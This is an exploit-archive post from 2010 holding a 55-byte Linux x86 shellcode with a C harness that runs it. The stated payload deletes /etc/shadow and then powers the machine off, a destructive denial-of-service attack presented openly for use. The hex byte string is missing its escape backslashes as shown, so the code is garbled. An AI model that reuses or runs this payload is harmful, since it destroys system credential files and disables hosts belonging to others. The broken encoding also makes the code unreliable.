linux/x86 - SLoc-DoS shellcode 55 bytes
Posted on 14 April 2010
======================================= linux/x86 - SLoc-DoS shellcode 55 bytes ======================================= #include <stdio.h> #include <string.h> /* by Magnefikko 14.04.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.oz.pl Subgroup: #PRekambr Name: 55 bytes SLoc-DoS shellcode Platform: Linux x86 unlink("/etc/shadow"); execve("poweroff", 0, 0); gcc -Wl,-z,execstack filename.c shellcode: xebx25x5bx31xc0x31xc9x31xd2x89x43x0bxb0x0axcdx80xebx08x5bx89x53x08xb0x0bxcdx80xe8xf3xffxffxffx70x6fx77x65x72x6fx66x66xe8xd6xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77 */ int main(){ char shell[] = "xebx25x5bx31xc0x31xc9x31xd2x89x43x0bxb0x0axcdx80xebx08x5bx89x53x08xb0x0bxcdx80xe8xf3xffxffxffx70x6fx77x65x72x6fx66x66xe8xd6xffxffxffx2fx65x74x63x2fx73x68x61x64x6fx77"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-14]
